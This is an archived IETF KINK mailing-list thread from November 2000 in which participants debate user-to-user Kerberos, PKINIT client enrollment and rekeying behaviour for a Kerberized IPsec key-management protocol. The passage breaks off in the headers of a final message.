> > > > "Medvinsky, Sasha (SD-EX)" writes: > > > > > What makes this "hand-off of authentication to clients" > out of scope for > > > KINK? > > > > > > Sasha. > > > > > > > -----Original Message----- > > > > From: Derek Atkins [mailto:warlord@mit.edu] > > > > Sent: Monday, November 20, 2000 11:11 AM > > > > To: Medvinsky, Sasha (SD-EX) > > > > Cc: 'Michael Thomas'; 'ietf-kink@vpnc.org' > > > > Subject: Re: alternative to user-to-user Kerberos in KINK > > > > > > > > > > > > "Medvinsky, Sasha (SD-EX)" writes: > > > > > > > > > Derek, > > > > > > > > > > KINK is a peer-to-peer protocol, but Kerberos is not. A > > > > client-server > > > > > architecture is more commonly used with Kerberos than the > > > > user-to-user case. > > > > > I would say Kerberos looses some of its advantages when it > > > > is used in the > > > > > user-to-user mode. > > > > > > > > > > There is nothing special about the PacketCable > > > > architecture, except that it > > > > > assumes a client-server architecture and I don't think that > > > > we should > > > > > exclude it from KINK. > > > > > > > > > > Sasha. > > > > > > > > The special case of PacketCable is that servers may > need to initiate > > > > IPSec with clients, but you don't want to have the > server store keys. > > > > So, you want to be able to securely "handoff" the > authentication to > > > > the clients, via a wakeup or other mechanism. What > this amounts to is > > > > the application server telling the application client > something like > > > > "I want to authenticate to you, so initiate an > authentication to me". > > > > This is particularly a problem with PKINIT entities, as > you cannot > > > > obtain an AP_REQ for a PKINIT ID. > > > > > > > > I believe that the latter problem is one that KINK will > have to solve > > > > (most likely by using user-2-user, initiated by either party). > > > > However, I do believe that the former is out-of-scope > for KINK. I > > > > don't think KINK should try to worry about forcing the > initiator of > > > > sessions. > > > > > > > > -derek > > > > > > > > -- > > > > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > > > > Member, MIT Student Information Processing Board (SIPB) > > > > URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH > > > > warlord@MIT.EDU PGP key available > > > > > > > > -- > > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > > Member, MIT Student Information Processing Board (SIPB) > > URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH > > warlord@MIT.EDU PGP key available > > > > -- > Jan Vilhuber > vilhuber@cisco.com > Cisco Systems, San Jose > (408) 527-0847 > From owner-ietf-kink Mon Nov 20 13:17:40 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id NAA11922 for ietf-kink-bks; Mon, 20 Nov 2000 13:17:40 -0800 (PST) Received: from cisco.com (flipper.cisco.com [171.69.25.141]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA11918 for ; Mon, 20 Nov 2000 13:17:39 -0800 (PST) Received: from localhost (ssh-sj1.cisco.com [171.68.225.134]) by cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.8.8) with ESMTP id NAA22711; Mon, 20 Nov 2000 13:17:20 -0800 (PST) Date: Mon, 20 Nov 2000 13:17:20 -0800 (PST) From: Jan Vilhuber To: "Medvinsky, Sasha (SD-EX)" cc: Derek Atkins , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: RE: alternative to user-to-user Kerberos in KINK In-Reply-To: <97DEDE66B3DCD11199D200805FA71BE202FD48B4@ntas0027.gi.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Mon, 20 Nov 2000, Medvinsky, Sasha (SD-EX) wrote: > As I replied to Mike's email, this client enrollment would eliminate some of > the disadvantages of the user-to-user mode (e.g. adding user > policy/authorization into the tickets), but would still require a server to > obtain/maintain tickets for its clients. Which gets back to the fact that KINK is for peer-to-peer, so any server is a client and any client is a server. So they all need to be principals in the KDC, so we need to enroll them. Unless you want to do u-u, I guess, which complicates things. I'd prefer to have them enrolled. jan > I also listed benefits of not > having to do that. > > Sasha. > > > > -----Original Message----- > > From: Jan Vilhuber [mailto:vilhuber@cisco.com] > > Sent: Monday, November 20, 2000 11:55 AM > > To: Derek Atkins > > Cc: Medvinsky, Sasha (SD-EX); 'Michael Thomas'; 'ietf-kink@vpnc.org' > > Subject: Re: alternative to user-to-user Kerberos in KINK > > > > > > As Michael pointed out a few weeks ago, if we assume some > > sort of enrollment > > protocol, that creates a shared secret between pkinit clients > > and KDC, then > > the pkinit case becomes the general case, i.e. anyone can > > initiate to a > > pkinit client, after the pkinit client has 'enrolled' with a > > KDC (and you > > wouldn't even need u-u). > > > > Rather than add complexity to KINK, I would prefer we put together an > > enrollment proposal, either within THIS group, or propose it > > in the kerberos > > WG. > > > > jan > > > > > > > > > > On 20 Nov 2000, Derek Atkins wrote: > > > > > I consider it out of scope because it adds uncesseary complexity to > > > the general KINK protocol. It is complexity that perhaps > > PacketCable > > > needs (or, more likely, wants), but it is not complexity that makes > > > sense, IMHO, for a general-purpose IPSec key management > > protocol. It > > > either forces us to add options to the protcol (thereby adding > > > complexity), or it forces us to always handoff authentication and > > > design a secure way to doing so (also adding complextity). > > > > > > The problem is that there is no way to always know a priori > > whether a > > > peer is a PKINIT peer (where PKINIT peer is one that only > > has a TGT to > > > work with, which implies normal users as well as PKINIT-based hosts) > > > or a normal peer. In order to reduce complexity in KINK we have to > > > optimize for either PKINIT or non-PKINIT peers. I believe that > > > non-PKINIT peers are the "normal" case (namely, hosts with krb5 > > > keytabs). > > > > > > Based upon this assumption (we should probably discuss whether this > > > assumption has merits), we should optimize the protocol for > > > non-PKINIT. This implies that we should try normal Kerberos, and if > > > we cannot obtain an AP_REQ, then we try U2U. It means an extra > > > round-trip to the KDC in the case of a PKINIT peer the first time we > > > try to authenticate. We can always cache U2U tickets. Alternately, > > > if we optimize for PKINIT peers, we should just use U2U at > > all times. > > > > > > However, in neither case do we try to offload > > authentication from one > > > entity to the other. The initiator is always the initiator, the > > > responder is always the responder. Never are we trying to have the > > > initiator tell the responder to initiate authentication. > > > > > > -derek > > > > > > "Medvinsky, Sasha (SD-EX)" writes: > > > > > > > What makes this "hand-off of authentication to clients" > > out of scope for > > > > KINK? > > > > > > > > Sasha. > > > > > > > > > -----Original Message----- > > > > > From: Derek Atkins [mailto:warlord@mit.edu] > > > > > Sent: Monday, November 20, 2000 11:11 AM > > > > > To: Medvinsky, Sasha (SD-EX) > > > > > Cc: 'Michael Thomas'; 'ietf-kink@vpnc.org' > > > > > Subject: Re: alternative to user-to-user Kerberos in KINK > > > > > > > > > > > > > > > "Medvinsky, Sasha (SD-EX)" writes: > > > > > > > > > > > Derek, > > > > > > > > > > > > KINK is a peer-to-peer protocol, but Kerberos is not. A > > > > > client-server > > > > > > architecture is more commonly used with Kerberos than the > > > > > user-to-user case. > > > > > > I would say Kerberos looses some of its advantages when it > > > > > is used in the > > > > > > user-to-user mode. > > > > > > > > > > > > There is nothing special about the PacketCable > > > > > architecture, except that it > > > > > > assumes a client-server architecture and I don't think that > > > > > we should > > > > > > exclude it from KINK. > > > > > > > > > > > > Sasha. > > > > > > > > > > The special case of PacketCable is that servers may > > need to initiate > > > > > IPSec with clients, but you don't want to have the > > server store keys. > > > > > So, you want to be able to securely "handoff" the > > authentication to > > > > > the clients, via a wakeup or other mechanism. What > > this amounts to is > > > > > the application server telling the application client > > something like > > > > > "I want to authenticate to you, so initiate an > > authentication to me". > > > > > This is particularly a problem with PKINIT entities, as > > you cannot > > > > > obtain an AP_REQ for a PKINIT ID. > > > > > > > > > > I believe that the latter problem is one that KINK will > > have to solve > > > > > (most likely by using user-2-user, initiated by either party). > > > > > However, I do believe that the former is out-of-scope > > for KINK. I > > > > > don't think KINK should try to worry about forcing the > > initiator of > > > > > sessions. > > > > > > > > > > -derek > > > > > > > > > > -- > > > > > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > > > > > Member, MIT Student Information Processing Board (SIPB) > > > > > URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH > > > > > warlord@MIT.EDU PGP key available > > > > > > > > > > > -- > > > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > > > Member, MIT Student Information Processing Board (SIPB) > > > URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH > > > warlord@MIT.EDU PGP key available > > > > > > > -- > > Jan Vilhuber > > vilhuber@cisco.com > > Cisco Systems, San Jose > > (408) 527-0847 > > > -- Jan Vilhuber vilhuber@cisco.com Cisco Systems, San Jose (408) 527-0847 From owner-ietf-kink Mon Nov 20 13:25:25 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id NAA12264 for ietf-kink-bks; Mon, 20 Nov 2000 13:25:25 -0800 (PST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA12260 for ; Mon, 20 Nov 2000 13:25:23 -0800 (PST) Received: from eastmail2.East.Sun.COM ([129.148.1.241]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA04997; Mon, 20 Nov 2000 13:26:02 -0800 (PST) Received: from thunk.east.sun.com (thunk.East.Sun.COM [129.148.174.66]) by eastmail2.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v1.7) with ESMTP id QAA25239; Mon, 20 Nov 2000 16:25:57 -0500 (EST) Received: from thunk (localhost [127.0.0.1]) by thunk.east.sun.com (8.11.1+Sun/8.10.2) with ESMTP id eAKLPGa236169; Mon, 20 Nov 2000 16:25:16 -0500 (EST) Message-Id: <200011202125.eAKLPGa236169@thunk.east.sun.com> From: Bill Sommerfeld To: Jan Vilhuber cc: "Medvinsky, Sasha (SD-EX)" , Derek Atkins , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-reply-to: Your message of "Mon, 20 Nov 2000 13:17:20 PST." Reply-to: sommerfeld@east.sun.com Date: Mon, 20 Nov 2000 16:25:15 -0500 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > Unless you want to do u-u, I guess, which complicates things. I'd prefer to > have them enrolled. depends on how you measure complexity. i suspect a new enrollment protocol would be more complex than just using u-u. - Bill From owner-ietf-kink Mon Nov 20 13:31:37 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id NAA12435 for ietf-kink-bks; Mon, 20 Nov 2000 13:31:37 -0800 (PST) Received: from cisco.com (flipper.cisco.com [171.69.25.141]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA12431 for ; Mon, 20 Nov 2000 13:31:36 -0800 (PST) Received: from localhost (ssh-sj1.cisco.com [171.68.225.134]) by cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.8.8) with ESMTP id NAA23427; Mon, 20 Nov 2000 13:31:15 -0800 (PST) Date: Mon, 20 Nov 2000 13:31:15 -0800 (PST) From: Jan Vilhuber To: Bill Sommerfeld cc: "Medvinsky, Sasha (SD-EX)" , Derek Atkins , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-Reply-To: <200011202125.eAKLPGa236169@thunk.east.sun.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Mon, 20 Nov 2000, Bill Sommerfeld wrote: > > Unless you want to do u-u, I guess, which complicates things. I'd prefer to > > have them enrolled. > > depends on how you measure complexity. Agreed. I measure it in terms of added complexity WITHIN the same protocol. A new enrollment protocol may be somewhat complex, but this complexity is orthogonal to KINK, thus making KINK easier to analyze for security. Adding more exchanges for corner-cases certainly doesn't help people analyze it for weaknesses. > i suspect a new enrollment > protocol would be more complex than just using u-u. > But it may be usefull to other people as well. Two semi-complex protocols are better than one hyper-complex one. In my opinion, anyway. jan -- Jan Vilhuber vilhuber@cisco.com Cisco Systems, San Jose (408) 527-0847 From owner-ietf-kink Mon Nov 20 13:38:52 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id NAA12660 for ietf-kink-bks; Mon, 20 Nov 2000 13:38:52 -0800 (PST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA12654 for ; Mon, 20 Nov 2000 13:38:51 -0800 (PST) Received: from eastmail2.East.Sun.COM ([129.148.1.241]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA13770; Mon, 20 Nov 2000 13:39:27 -0800 (PST) Received: from thunk.east.sun.com (thunk.East.Sun.COM [129.148.174.66]) by eastmail2.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v1.7) with ESMTP id QAA28812; Mon, 20 Nov 2000 16:39:24 -0500 (EST) Received: from thunk (localhost [127.0.0.1]) by thunk.east.sun.com (8.11.1+Sun/8.10.2) with ESMTP id eAKLcha236255; Mon, 20 Nov 2000 16:38:43 -0500 (EST) Message-Id: <200011202138.eAKLcha236255@thunk.east.sun.com> From: Bill Sommerfeld To: Jan Vilhuber cc: Bill Sommerfeld , "Medvinsky, Sasha (SD-EX)" , Derek Atkins , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-reply-to: Your message of "Mon, 20 Nov 2000 13:31:15 PST." Reply-to: sommerfeld@east.sun.com Date: Mon, 20 Nov 2000 16:38:42 -0500 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > Agreed. I measure it in terms of added complexity WITHIN the same protocol. A > new enrollment protocol may be somewhat complex, but this complexity is > orthogonal to KINK, thus making KINK easier to analyze for security. Adding > more exchanges for corner-cases certainly doesn't help people analyze it for > weaknesses. true. i've suggested on numerous occasions that KINK should avoid this problem by always using user-to-user. - Bill From owner-ietf-kink Mon Nov 20 13:46:52 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id NAA12902 for ietf-kink-bks; Mon, 20 Nov 2000 13:46:52 -0800 (PST) Received: from cisco.com (flipper.cisco.com [171.69.25.141]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA12897 for ; Mon, 20 Nov 2000 13:46:50 -0800 (PST) Received: from localhost (ssh-sj1.cisco.com [171.68.225.134]) by cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.8.8) with ESMTP id NAA24233; Mon, 20 Nov 2000 13:46:30 -0800 (PST) Date: Mon, 20 Nov 2000 13:46:29 -0800 (PST) From: Jan Vilhuber To: Bill Sommerfeld cc: "Medvinsky, Sasha (SD-EX)" , Derek Atkins , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-Reply-To: <200011202138.eAKLcha236255@thunk.east.sun.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Mon, 20 Nov 2000, Bill Sommerfeld wrote: > > Agreed. I measure it in terms of added complexity WITHIN the same protocol. A > > new enrollment protocol may be somewhat complex, but this complexity is > > orthogonal to KINK, thus making KINK easier to analyze for security. Adding > > more exchanges for corner-cases certainly doesn't help people analyze it for > > weaknesses. > > true. i've suggested on numerous occasions that KINK should avoid > this problem by always using user-to-user. > I guess that's one way. The other is to never use u-u, and force everyone to be a principal in the KDC. Not being 100% kerberos-expert, this appeals to me more, especially in light of the fact that a pkinit-enrollment may be usefull in other protocols/occasions (I'm guessing). jan -- Jan Vilhuber vilhuber@cisco.com Cisco Systems, San Jose (408) 527-0847 From owner-ietf-kink Mon Nov 20 14:30:30 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id OAA14131 for ietf-kink-bks; Mon, 20 Nov 2000 14:30:30 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA14127 for ; Mon, 20 Nov 2000 14:30:28 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id RAA28827; Mon, 20 Nov 2000 17:31:13 -0500 To: Jan Vilhuber Cc: Bill Sommerfeld , "Medvinsky, Sasha (SD-EX)" , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK References: From: Derek Atkins Date: 20 Nov 2000 17:31:13 -0500 In-Reply-To: Jan Vilhuber's message of "Mon, 20 Nov 2000 13:46:29 -0800 (PST)" Message-ID: Lines: 30 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Jan Vilhuber writes: > I guess that's one way. The other is to never use u-u, and force everyone to > be a principal in the KDC. Not being 100% kerberos-expert, this appeals to me > more, especially in light of the fact that a pkinit-enrollment may be usefull > in other protocols/occasions (I'm guessing). The problem is that this wont work for, a user being the responder. A user would be enrolled in the KDC, but they have a password, not a keytab. So, the system would only have a TGT credential to work with (although a foreign system would still be able to get a "valid" service-key response from the KDC). Perhaps we just don't care; or perhaps "users" can only be IPSec initiators. -derek > jan > -- > Jan Vilhuber vilhuber@cisco.com > Cisco Systems, San Jose (408) 527-0847 -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Mon Nov 20 14:37:17 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id OAA14300 for ietf-kink-bks; Mon, 20 Nov 2000 14:37:17 -0800 (PST) Received: from lukla.Sun.COM (lukla.Sun.COM [192.18.98.31]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA14295 for ; Mon, 20 Nov 2000 14:37:15 -0800 (PST) Received: from eastmail1.East.Sun.COM ([129.148.1.240]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA09636; Mon, 20 Nov 2000 15:37:50 -0700 (MST) Received: from thunk.east.sun.com (thunk.East.Sun.COM [129.148.174.66]) by eastmail1.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v1.7) with ESMTP id RAA23184; Mon, 20 Nov 2000 17:37:49 -0500 (EST) Received: from thunk (localhost [127.0.0.1]) by thunk.east.sun.com (8.11.1+Sun/8.10.2) with ESMTP id eAKMb7a236351; Mon, 20 Nov 2000 17:37:07 -0500 (EST) Message-Id: <200011202237.eAKMb7a236351@thunk.east.sun.com> From: Bill Sommerfeld To: Derek Atkins cc: Jan Vilhuber , Bill Sommerfeld , "Medvinsky, Sasha (SD-EX)" , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-reply-to: Your message of "20 Nov 2000 17:31:13 EST." Reply-to: sommerfeld@east.sun.com Date: Mon, 20 Nov 2000 17:37:07 -0500 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > Perhaps we just don't care; or perhaps "users" can only be IPSec > initiators. That won't work in the general case since many possible uses of ipsec require peer-to-peer keying. (or, rather, require either end to be able to initiate rekeying). - Bill From owner-ietf-kink Mon Nov 20 14:56:27 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id OAA14864 for ietf-kink-bks; Mon, 20 Nov 2000 14:56:27 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA14859 for ; Mon, 20 Nov 2000 14:56:25 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id RAA28842; Mon, 20 Nov 2000 17:57:06 -0500 To: sommerfeld@east.sun.com Cc: Jan Vilhuber , "Medvinsky, Sasha (SD-EX)" , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK References: <200011202237.eAKMb7a236351@thunk.east.sun.com> From: Derek Atkins Date: 20 Nov 2000 17:57:06 -0500 In-Reply-To: Bill Sommerfeld's message of "Mon, 20 Nov 2000 17:37:07 -0500" Message-ID: Lines: 27 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Bill Sommerfeld writes: > > Perhaps we just don't care; or perhaps "users" can only be IPSec > > initiators. > > That won't work in the general case since many possible uses of ipsec > require peer-to-peer keying. (or, rather, require either end to be > able to initiate rekeying). It works for road-warrior VPNs :) In other cases, you probably aren't authenticating users to users, or hosts to users, but rather hosts to hosts. So I don't think it matters there, either. The only case I can truly think of where you might want to have the user authenticate one end is for a road-warrior VPN solution, and in that case, no, the server WONT be initiating anything :) > - Bill -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Mon Nov 20 15:00:55 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id PAA14981 for ietf-kink-bks; Mon, 20 Nov 2000 15:00:55 -0800 (PST) Received: from lukla.Sun.COM (lukla.Sun.COM [192.18.98.31]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA14977 for ; Mon, 20 Nov 2000 15:00:53 -0800 (PST) Received: from eastmail1.East.Sun.COM ([129.148.1.240]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA26707; Mon, 20 Nov 2000 16:01:35 -0700 (MST) Received: from thunk.east.sun.com (thunk.East.Sun.COM [129.148.174.66]) by eastmail1.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v1.7) with ESMTP id SAA27969; Mon, 20 Nov 2000 18:01:33 -0500 (EST) Received: from thunk (localhost [127.0.0.1]) by thunk.east.sun.com (8.11.1+Sun/8.10.2) with ESMTP id eAKN0pa236400; Mon, 20 Nov 2000 18:00:51 -0500 (EST) Message-Id: <200011202300.eAKN0pa236400@thunk.east.sun.com> From: Bill Sommerfeld To: Derek Atkins cc: sommerfeld@east.sun.com, Jan Vilhuber , "Medvinsky, Sasha (SD-EX)" , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-reply-to: Your message of "20 Nov 2000 17:57:06 EST." Reply-to: sommerfeld@east.sun.com Date: Mon, 20 Nov 2000 18:00:51 -0500 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > It works for road-warrior VPNs :) that's nice. > In other cases, you probably aren't authenticating users to users, or > hosts to users, but rather hosts to hosts. This is an unwarranted assumption, and the ipsec implementation i'm working on doesn't make that assumption. > So I don't think it matters there, either. I think it does. - Bill From owner-ietf-kink Mon Nov 20 15:03:24 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id PAA15048 for ietf-kink-bks; Mon, 20 Nov 2000 15:03:24 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA15040 for ; Mon, 20 Nov 2000 15:03:22 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id SAA28852; Mon, 20 Nov 2000 18:04:08 -0500 To: sommerfeld@east.sun.com Cc: Jan Vilhuber , "Medvinsky, Sasha (SD-EX)" , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK References: <200011202300.eAKN0pa236400@thunk.east.sun.com> From: Derek Atkins Date: 20 Nov 2000 18:04:08 -0500 In-Reply-To: Bill Sommerfeld's message of "Mon, 20 Nov 2000 18:00:51 -0500" Message-ID: Lines: 29 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Well, clearly we disagree. :) We'll see what the group at large thinks. -derek Bill Sommerfeld writes: > > It works for road-warrior VPNs :) > > that's nice. > > > In other cases, you probably aren't authenticating users to users, or > > hosts to users, but rather hosts to hosts. > > This is an unwarranted assumption, and the ipsec implementation i'm > working on doesn't make that assumption. > > > So I don't think it matters there, either. > > I think it does. > > - Bill -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Mon Nov 20 15:07:45 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id PAA15170 for ietf-kink-bks; Mon, 20 Nov 2000 15:07:45 -0800 (PST) Received: from cisco.com (flipper.cisco.com [171.69.25.141]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA15164 for ; Mon, 20 Nov 2000 15:07:44 -0800 (PST) Received: from localhost (ssh-sj1.cisco.com [171.68.225.134]) by cisco.com (8.8.5-Cisco.2-SunOS.5.5.1.sun4/8.8.8) with ESMTP id PAA28340; Mon, 20 Nov 2000 15:07:54 -0800 (PST) Date: Mon, 20 Nov 2000 15:07:53 -0800 (PST) From: Jan Vilhuber To: Derek Atkins cc: sommerfeld@east.sun.com, "Medvinsky, Sasha (SD-EX)" , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On 20 Nov 2000, Derek Atkins wrote: > Bill Sommerfeld writes: > > > > Perhaps we just don't care; or perhaps "users" can only be IPSec > > > initiators. > > > > That won't work in the general case since many possible uses of ipsec > > require peer-to-peer keying. (or, rather, require either end to be > > able to initiate rekeying). > > It works for road-warrior VPNs :) > > In other cases, you probably aren't authenticating users to users, or > hosts to users, but rather hosts to hosts. So I don't think it > matters there, either. The only case I can truly think of where you > might want to have the user authenticate one end is for a road-warrior > VPN solution, and in that case, no, the server WONT be initiating > anything :) > It might also be worthwhile to do what IKE failed to do, which is to spell out re-keying behaviour. If we spell out that the original initiator needs to be the one to reinitiate a re-key, then problems won't arise. That's not to say that initiation can not be in both directions, but if someone will be a responder, that host/user MUST be a principal in the KDC. That covers your road-warrior example, as those users may NOT need to be principals, assuming they will always initiate and will always initiate a re-key. Whether the semantics I propose above are the correct ones, or not, I think this should be in the draft somewhere to avoid ambuguities in rekeying which we now have to deal with in IKE (See Jenkins draft). jan -- Jan Vilhuber vilhuber@cisco.com Cisco Systems, San Jose (408) 527-0847 From owner-ietf-kink Mon Nov 20 15:22:32 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id PAA15483 for ietf-kink-bks; Mon, 20 Nov 2000 15:22:32 -0800 (PST) Received: from lukla.Sun.COM (lukla.Sun.COM [192.18.98.31]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA15478 for ; Mon, 20 Nov 2000 15:22:30 -0800 (PST) Received: from eastmail1.East.Sun.COM ([129.148.1.240]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA10761; Mon, 20 Nov 2000 16:23:13 -0700 (MST) Received: from thunk.east.sun.com (thunk.East.Sun.COM [129.148.174.66]) by eastmail1.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v1.7) with ESMTP id SAA01759; Mon, 20 Nov 2000 18:23:12 -0500 (EST) Received: from thunk (localhost [127.0.0.1]) by thunk.east.sun.com (8.11.1+Sun/8.10.2) with ESMTP id eAKNMUa236427; Mon, 20 Nov 2000 18:22:30 -0500 (EST) Message-Id: <200011202322.eAKNMUa236427@thunk.east.sun.com> From: Bill Sommerfeld To: Jan Vilhuber cc: Derek Atkins , sommerfeld@east.sun.com, "Medvinsky, Sasha (SD-EX)" , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-reply-to: Your message of "Mon, 20 Nov 2000 15:07:53 PST." Reply-to: sommerfeld@east.sun.com Date: Mon, 20 Nov 2000 18:22:29 -0500 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > It might also be worthwhile to do what IKE failed to do, which is to spell > out re-keying behaviour. If we spell out that the original initiator needs to > be the one to reinitiate a re-key, then problems won't arise. How can that possibly work in a non-VPN, non-connection-oriented scenario? Does the initiator *always* recreate an expiring SA, just in case the peer might want to send something in the future? Do you engage in some sort of layering violation, peeking into TCP to see if there are still open connections or tracking connection state in the IP layer? Or do you not care about long-lived connections, and let them drop if the initiator doesn't have the session up? I'm not happy with any of these alternatives.. the responder must be able to turn around and reinitiate back to the initiator.. - Bill From owner-ietf-kink Mon Nov 20 15:32:38 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id PAA15643 for ietf-kink-bks; Mon, 20 Nov 2000 15:32:38 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA15639 for ; Mon, 20 Nov 2000 15:32:36 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id SAA28879; Mon, 20 Nov 2000 18:33:21 -0500 To: sommerfeld@east.sun.com Cc: Jan Vilhuber , "Medvinsky, Sasha (SD-EX)" , "'Michael Thomas'" , "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK References: <200011202322.eAKNMUa236427@thunk.east.sun.com> From: Derek Atkins Date: 20 Nov 2000 18:33:20 -0500 In-Reply-To: Bill Sommerfeld's message of "Mon, 20 Nov 2000 18:22:29 -0500" Message-ID: Lines: 40 X-Mailer: Gnus v5.5/Emacs 